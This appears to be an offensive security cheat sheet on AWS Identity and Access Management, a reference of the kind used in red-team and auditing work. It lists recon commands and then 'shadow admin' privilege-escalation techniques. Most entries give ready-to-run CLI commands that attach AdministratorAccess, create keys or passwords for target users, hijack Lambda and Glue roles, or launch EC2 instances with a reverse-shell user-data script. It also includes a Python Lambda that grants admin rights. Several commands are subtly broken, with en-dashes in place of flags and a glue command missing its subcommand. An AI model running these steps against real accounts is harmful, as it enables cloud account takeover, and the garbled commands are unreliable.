# AWS - Identity & Access Management

## Listing IAM access Keys

```ps1
aws iam list-access-keys
```

## Listing IAM Users and Groups

```ps1
aws iam list-users
aws iam list-groups
```

## Get IAM Details

```ps1
aws iam get-account-authorization-details > iam.json
```

## Assume a Specific Role

```ps1
aws sts assume-role --role-arn arn:aws:iam::${accountId}:role/${roleName} --role-session-name ${roleName}
```

## Login with MFA

Retrieve the MFA device ARN:

```ps1
aws iam list-mfa-devices
```

Then create the session token:

```ps1
aws sts get-session-token --serial-number ${arnMFADevice} --token-code ${MFACode}
```

## Shadow Admin

### Admin equivalent permission

- AdministratorAccess

    ```powershell
    "Action": "*"
    "Resource": "*"
    ```

- **ec2:AssociateIamInstanceProfile** : attach an IAM instance profile to an EC2 instance

    ```powershell
    aws ec2 associate-iam-instance-profile --iam-instance-profile Name=admin-role --instance-id i-0123456789
    ```

- **iam:CreateAccessKey** : create a new access key to another IAM admin account

    ```powershell
    aws iam create-access-key –user-name target_user
    ```

- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it

    ```powershell
    aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
    ```

- **iam:UpdateLoginProfile** : reset other IAM users’ login passwords.

    ```powershell
    aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
    ```

- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses

    ```powershell
    aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
    aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
    aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
    ```

- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.

    ```powershell
    aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json
    ```

- **iam:CreatePolicy** : add a stealthy admin policy
- **iam:AddUserToGroup** : add into the admin group of the organization.

    ```powershell
    aws iam add-user-to-group –group-name target_group –user-name my_username
    ```

- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account.

    ```powershell
    aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json
    ```

- **iam:CreatePolicyVersion** & **iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one.

    ```powershell
    aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default
    aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2
    ```

- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.

    ```powershell
    aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/zipped.zip
    ```

- **glue:UpdateDevEndpoint** : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.

    ```powershell
    aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub
    ```

- **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.

- **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.

    ```powershell
    # add ssh key
    $ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456
    # execute a reverse shell
    $ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh
    ```

- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account.

    ```powershell
    aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py
    aws lambda invoke –function-name my_function output.txt
    ```

    Example of code.py

    ```python
    import boto3
    def lambda_handler(event, context):
        client = boto3.client('iam')
        response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
        )
        return response
    ```

- **iam:PassRole** + **glue:CreateDevEndpoint** : access to the privileges associated with any Glue service role that exists in the account.

    ```powershell
    aws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn arn_of_glue_service_role –public-key file://path/to/my/public/ssh/key.pub
    ```

## References

- [Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk](https://www.cyberark.com/threat-research-blog/cloud-shadow-admin-threat-10-permissions-protect/)
